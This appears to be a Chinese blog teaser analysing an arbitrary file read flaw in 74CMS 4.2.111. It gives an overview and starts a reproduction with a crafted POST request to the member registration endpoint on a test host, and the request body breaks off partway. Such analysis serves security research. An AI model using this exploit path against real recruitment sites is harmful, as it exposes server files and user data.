某CMS 任意文件读取漏洞分析

0x01 漏洞概述 74CMS是一套专业的人才招聘系统，复现此漏洞的版本号为：4.2.111。下载地址是：http://www.74cms.com/download/index.html 0x02 漏洞复现 发送一个构造好的POST请求： url: http://74cms.test/index.php?m=Home&c=Members&a=register post: reg_type=2&ut

>>阅读原文<<